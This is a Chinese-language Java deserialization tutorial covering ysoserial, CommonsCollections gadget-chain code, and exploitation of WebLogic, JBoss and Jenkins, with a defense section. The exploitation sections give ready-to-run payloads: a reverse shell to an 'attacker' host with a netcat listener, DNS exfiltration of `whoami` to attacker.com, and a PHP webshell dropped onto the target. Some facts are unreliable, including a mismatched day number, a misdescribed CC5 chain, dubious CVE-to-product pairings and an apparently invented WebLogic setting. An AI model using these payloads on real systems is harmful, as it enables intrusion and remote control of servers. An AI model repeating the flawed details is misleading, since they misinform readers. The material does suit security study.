Day-042-Java反序列化深入

# Day 40: Java 反序列化深入

> Web 安全系列第 10 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录

1. [Java 序列化机制](#java 序列化机制)
2. [Serializable 接口](#serializable 接口)
3. [ysoserial 工具详解](#ysoserial 工具详解)
4. [CommonsCollections Gadget](#commonscollections-gadget)
5. [其他 Gadget 链分析](#其他 gadget 链分析)
6. [框架反序列化漏洞](#框架反序列化漏洞)
7. [漏洞检测与利用](#漏洞检测与利用)
8. [防护策略与最佳实践](#防护策略与最佳实践)
9. [实战案例分析](#实战案例分析)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## Java 序列化机制

### 序列化基础

**Serializable 接口**：
```java
// 实现 Serializable 接口
public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    
    private String name;
    private int age;
    
    // 构造函数
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    // Getter/Setter
}
```

**序列化过程**：
```java
import java.io.*;

public class SerializeExample {
    public static void main(String[] args) throws Exception {
        User user = new User("alice", 25);
        
        // 序列化
        FileOutputStream fos = new FileOutputStream("user.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(user);
        oos.close();
        
        // 文件内容（十六进制）
        // AC ED 00 05 73 72 00 04 55 73 65 72 ...
    }
}
```

**反序列化过程**：
```java
import java.io.*;

public class DeserializeExample {
    public static void main(String[] args) throws Exception {
        // 反序列化
        FileInputStream fis = new FileInputStream("user.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        User user = (User) ois.readObject();
        ois.close();
        
        System.out.println(user.getName());  // alice
    }
}
```

### 序列化格式

**文件头**：
```
AC ED        → 魔术数字（Serialization Protocol）
00 05        → 版本号（Version 5）
```

**对象描述**：
```
73           → TC_OBJECT（对象标记）
72           → TC_CLASSDESC（类描述）
00 04        → 类名长度（4）
55 73 65 72  → 类名"User"
serialVersionUID → 序列化版本 ID
```

**字段信息**：
```
02           → 字段数量（2）
4C           → 对象字段（String）
00 04        → 字段名长度（4）
6E 61 6D 65  → 字段名"name"
74 00 04     → String 类型，长度 4
61 6C 69 63 65 → 值"alice"
```

### 特殊字段

**transient 关键字**：
```java
public class User implements Serializable {
    private String name;
    private transient String password;  // 不序列化
    
    // password 字段不会被序列化
    // 反序列化后为 null
}
```

**static 关键字**：
```java
public class User implements Serializable {
    private static String config = "default";  // 静态字段不序列化
    
    // static 字段属于类，不属于对象
    // 不会被序列化
}
```

**serialVersionUID**：
```java
public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    
    // 用于版本控制
    // 如果类修改后 ID 不匹配，反序列化失败
}
```

---

## Serializable 接口

### 自定义序列化

**writeObject/readObject**：
```java
public class User implements Serializable {
    private String name;
    private transient String password;
    
    // 自定义序列化
    private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.defaultWriteObject();  // 默认序列化
        // 加密密码后写入
        oos.writeUTF(encrypt(password));
    }
    
    // 自定义反序列化
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();  // 默认反序列化
        // 解密密码
        password = decrypt(ois.readUTF());
    }
}
```

**readResolve/writeReplace**：
```java
public class Singleton implements Serializable {
    private static final Singleton INSTANCE = new Singleton();
    
    private Singleton() {}
    
    public static Singleton getInstance() {
        return INSTANCE;
    }
    
    // 反序列化时返回单例
    private Object readResolve() {
        return INSTANCE;
    }
}
```

### 危险方法

**finalize()**：
```java
public class Vulnerable {
    @Override
    protected void finalize() {
        // 对象被 GC 前调用
        // 可被利用执行代码
        Runtime.getRuntime().exec("whoami");
    }
}
```

**readObjectNoData()**：
```java
public class Vulnerable implements Serializable {
    private void readObjectNoData() throws ObjectStreamException {
        // 当序列化数据中缺少类信息时调用
        // 可被利用
        Runtime.getRuntime().exec("whoami");
    }
}
```

---

## ysoserial 工具详解

### 工具介绍

**什么是 ysoserial**：
```
ysoserial 是 Java 反序列化漏洞利用工具，
由 Chris Frohoff 开发。

GitHub: https://github.com/frohoff/ysoserial

功能：
- 生成各种 Gadget 链的 Payload
- 支持多种库和框架
- 命令行工具
```

**安装使用**：
```bash
# 下载
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 查看可用 Gadget
java -jar ysoserial-all.jar

# 生成 Payload
java -jar ysoserial-all.jar CommonsCollections5 "whoami" > payload.bin

# 发送 Payload
curl -X POST --data-binary @payload.bin http://target.com/api
```

### 可用 Gadget

**CommonsCollections 系列**：
```
CommonsCollections1   → CommonsCollections 3.2.1
CommonsCollections2   → CommonsCollections 4.0
CommonsCollections3   → CommonsCollections 3.2.1
CommonsCollections4   → CommonsCollections 4.0
CommonsCollections5   → CommonsCollections 3.2.1/4.0
CommonsCollections6   → CommonsCollections 3.2.1/4.0
CommonsCollections7   → CommonsCollections 3.2.1/4.0
```

**其他库**：
```
Groovy1              → Groovy
Spring1              → Spring Core
Spring2              → Spring Core
Hibernate1           → Hibernate
MyBatis1             → MyBatis
JBossInterceptors1   → JBoss
```

**JDK Gadget**：
```
Jdk7u21              → JDK 7u21
JRE8u20              → JRE 8u20
```

### Payload 生成原理

**CommonsCollections5 分析**：
```java
// Gadget 链结构
AnnotationInvocationHandler
  ↓
TiedMapEntry
  ↓
InvokerTransformer
  ↓
Runtime.exec()

// 流程：
// 1. 反序列化 AnnotationInvocationHandler
// 2. 访问成员变量
// 3. 触发 TiedMapEntry.getValue()
// 4. 调用 InvokerTransformer.transform()
// 5. 执行 Runtime.exec()
```

---

## CommonsCollections Gadget

### CommonsCollections1

**适用版本**：
```
CommonsCollections 3.2.1
```

**Gadget 链**：
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        // 构造 Transformer 链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", new Class[] {String.class}, 
                new Object[] {"whoami"})
        };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 创建 LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        
        // 通过反射调用
        // ...
        
        // 序列化
        // 发送 Payload
    }
}
```

### CommonsCollections5

**适用版本**：
```
CommonsCollections 3.2.1 / 4.0
```

**Gadget 链分析**：
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        // 构造 Transformer
        Transformer transformer = new InvokerTransformer(
            "exec",
            new Class[] {String.class},
            new Object[] {"whoami"}
        );
        
        // 创建 LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        
        // 创建 TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
        
        // 通过反射设置
        // ...
        
        // 序列化
        // 发送 Payload
    }
}
```

### CommonsCollections6

**适用版本**：
```
CommonsCollections 3.2.1 / 4.0
```

**特点**：
```
- 无需反射
- 更稳定
- 更常用
```

**Gadget 链**：
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) {
        // 构造 Transformer 链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", new Class[] {String.class}, 
                new Object[] {"whoami"})
        };
        
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 创建 Map
        Map innerMap = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap, chainedTransformer);
        
        // ...
        
        // 序列化
        // 发送 Payload
    }
}
```

---

## 其他 Gadget 链分析

### Spring Gadget

**Spring1**：
```java
// 利用 Spring AOP
// 需要 Spring 依赖
// 通过 ysoserial 生成

java -jar ysoserial.jar Spring1 "whoami" > payload.bin
```

**Spring2**：
```java
// 利用 Spring 工厂
// 需要 Spring 依赖
// 通过 ysoserial 生成

java -jar ysoserial.jar Spring2 "whoami" > payload.bin
```

### Groovy Gadget

**Groovy1**：
```java
// 利用 Groovy 脚本引擎
// 直接执行命令
// 无需复杂链

java -jar ysoserial.jar Groovy1 "whoami" > payload.bin
```

**原理**：
```groovy
// Groovy 脚本
class Builder {
    def build() {
        "whoami".execute()
    }
}
```

### Jdk7u21 Gadget

**适用版本**：
```
JDK 7u21 之前
```

**特点**：
```
- 无需第三方库
- 仅依赖 JDK
- JDK 7u21 已修复
```

**利用**：
```java
java -jar ysoserial.jar Jdk7u21 "whoami" > payload.bin
```

---

## 框架反序列化漏洞

### WebLogic 漏洞

**CVE-2015-4852**：
```
产品：Oracle WebLogic
版本：所有版本
影响：远程代码执行
```

**漏洞原理**：
```
1. WebLogic 使用 T3 协议
2. T3 协议支持 Java 序列化
3. 未验证序列化数据
4. 攻击者发送恶意对象
5. 服务器反序列化执行代码
```

**利用过程**：
```bash
# 1. 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 2. 发送 T3 请求
python weblogic_exploit.py target 7001 payload.bin

# 3. 执行命令
whoami
id
```

**修复**：
```
1. 升级到安全版本
2. 禁用 T3 协议
3. 配置序列化白名单
4. 网络隔离
```

### JBoss 漏洞

**CVE-2017-7504**：
```
产品：JBoss EAP
版本：6.x, 7.x
影响：远程代码执行
```

**漏洞原理**：
```
1. JBoss 使用 InvokerServlet
2. 接受序列化请求
3. 未验证数据
4. 反序列化执行代码
```

**利用**：
```bash
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送请求
curl -X POST \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin \
  http://target:8080/invoker/JMXInvokerServlet
```

### Jenkins 漏洞

**CVE-2016-0788**：
```
产品：Jenkins
版本：2.0 之前
影响：远程代码执行
```

**漏洞原理**：
```
1. Jenkins CLI 使用序列化
2. 未验证数据
3. 反序列化执行代码
```

**利用**：
```bash
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送 CLI 请求
java -jar jenkins-cli.jar -s http://target:8080/ < payload.bin
```

---

## 漏洞检测与利用

### 检测反序列化点

**特征识别**：
```
HTTP 头：
Content-Type: application/x-java-serialized-object
Content-Type: application/octet-stream

Cookie:
JSESSIONID=ACED0005...

URL 参数：
?data=ACED0005...
```

**工具检测**：
```bash
# Burp Suite
# 使用反序列化扫描插件

# ysoserial-detector
java -jar detector.jar -u http://target.com

# 手动测试
# 发送测试 Payload
# 观察响应
```

### 漏洞验证

**无害 Payload**：
```bash
# 生成无害 Payload
java -jar ysoserial.jar CommonsCollections5 "echo POC" > poc.bin

# 发送
curl -X POST --data-binary @poc.bin http://target.com/api

# 观察响应
# 如果有 POC 输出，存在漏洞
```

**DNS 外带**：
```bash
# 生成 DNS 外带 Payload
java -jar ysoserial.jar CommonsCollections5 \
  "nslookup `whoami`.attacker.com" > payload.bin

# 发送
curl -X POST --data-binary @payload.bin http://target.com/api

# 查看 DNS 日志
# 如果有查询，执行成功
```

### 实际利用

**命令执行**：
```bash
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 \
  "bash -i >& /dev/tcp/attacker/4444 0>&1" > shell.bin

# 发送
curl -X POST --data-binary @shell.bin http://target.com/api

# 监听
nc -lvnp 4444
```

**文件上传**：
```bash
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 \
  "echo '<?php system(\$_GET[\"c\"]); ?>' > shell.php" > upload.bin

# 发送
curl -X POST --data-binary @upload.bin http://target.com/api

# 访问 Webshell
curl http://target.com/shell.php?c=whoami
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免反序列化**：
```java
// 使用 JSON 替代
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(object);
Object obj = mapper.readValue(json, Object.class);

// 避免使用 Serializable
// 使用 DTO/VO 传输
```

**ObjectInputFilter（Java 9+）**：
```java
import java.io.ObjectInputFilter;

// 配置白名单
ObjectInputFilter filter = info -> {
    String className = info.getDescription();
    
    // 允许基本类型
    if (className.startsWith("java.lang.") ||
        className.startsWith("java.util.")) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    
    // 允许业务类
    if (className.startsWith("com.company.")) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    
    // 拒绝其他
    return ObjectInputFilter.Status.REJECTED;
};

ois.setObjectInputFilter(filter);
```

**序列化白名单**：
```java
// 使用第三方库
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

ValidatingObjectInputStream ois = new ValidatingObjectInputStream(fis);
ois.accept("com.company.User");
ois.accept("com.company.Product");
Object obj = ois.readObject();
```

### 运行时防护

**WAF 规则**：
```
检测序列化特征：
- AC ED 00 05
- application/x-java-serialized-object
- 常见 Gadget 类名

阻断可疑请求：
- 包含序列化数据
- 无合法业务场景
- 来源可疑
```

**监控告警**：
```
监控：
- readObject() 调用
- 反序列化失败
- 异常类加载

告警：
- 未知类反序列化
- 频繁反序列化
- 危险 Gadget 类
```

### 框架防护

**Spring**：
```java
// 使用@RequestBody 替代
@PostMapping
public ResponseEntity<?> handle(@RequestBody Data data) {
    // Spring 自动反序列化为 JSON
    // 安全
}

// 避免使用 Serializable
// 使用 DTO
```

**WebLogic**：
```
1. 升级到安全版本
2. 禁用 T3 协议
   setServerUrlT3Enabled(false)
3. 配置序列化白名单
4. 网络隔离
```

**JBoss**：
```
1. 禁用 InvokerServlet
2. 升级安全版本
3. 配置访问控制
4. 网络隔离
```

---

## 实战案例分析

### 案例 1: WebLogic 大规模攻击

**事件描述**：
```
时间：2015-2020
目标：全球 WebLogic 服务器
手法：CVE-2015-4852 利用
影响：数万台服务器沦陷
```

**攻击过程**：
```
1. 扫描 WebLogic 服务器
   nmap -p 7001 target

2. 生成 Payload
   java -jar ysoserial.jar CommonsCollections5 "whoami"

3. 发送 T3 请求
   python exploit.py target 7001 payload.bin

4. 获取权限
   执行命令
   上传 Webshell
   横向移动
```

**影响**：
```
- 数据泄露
- 勒索软件
- 挖矿木马
- APT 攻击
```

**教训**：
```
- 及时打补丁
- 禁用不必要协议
- 网络隔离
- 持续监控
```

### 案例 2: Jenkins 服务器沦陷

**事件描述**：
```
时间：2016-2017
目标：Jenkins 服务器
手法：CVE-2016-0788 利用
影响：数千台 CI/CD 服务器
```

**攻击过程**：
```
1. 扫描 Jenkins 服务器
   识别未授权访问

2. 生成 Payload
   java -jar ysoserial.jar CommonsCollections5

3. 发送 CLI 请求
   java -jar jenkins-cli.jar < payload.bin

4. 获取权限
   执行构建脚本
   窃取凭证
   供应链攻击
```

**影响**：
```
- 源代码泄露
- 构建污染
- 供应链攻击
- 凭证窃取
```

**教训**：
```
- 及时更新
- 访问控制
- 凭证管理
- 审计日志
```

---

## 总结与思考

### 核心要点回顾

1. **Java 反序列化**
   - Serializable 接口
   - 自定义序列化
   - 危险方法

2. **Gadget 链**
   - CommonsCollections
   - Spring/Groovy
   - JDK Gadget

3. **防护策略**
   - 避免反序列化
   - 白名单机制
   - 运行时防护

### 深入思考问题

1. **为什么 Java 反序列化漏洞严重**？
   - 企业应用广泛
   - 框架依赖复杂
   - 修复困难

2. **云环境下的风险**？
   - 微服务通信
   - 消息队列
   - 新的攻击面

3. **未来防护方向**？
   - 类型安全
   - 序列化替代
   - 运行时保护

### 实战建议

**开发人员**：
1. 避免 Serializable
2. 使用 JSON
3. 实施白名单
4. 代码审查

**安全人员**：
1. 扫描反序列化点
2. 测试漏洞
3. 监控告警
4. 应急响应

**管理层**：
1. 安全培训
2. 依赖管理
3. 补丁管理
4. 安全预算

---

## 参考资料

### 学习资源
- [Java Serialization](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html)
- [OWASP Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
- [Java Deserialization Security](https://www.oracle.com/security-alerts/serializationsecurity.html)

### 工具资源
- [ysoserial](https://github.com/frohoff/ysoserial)
- [Burp Suite](https://portswigger.net/burp)
- [SerializationDumper](https://github.com/NickstaDB/SerializationDumper)

### 书籍推荐
- 《Java 反序列化漏洞分析与利用》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 41 - SSTI 服务端模板注入

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 40 篇，Web 安全部分第 10 篇，精编版本*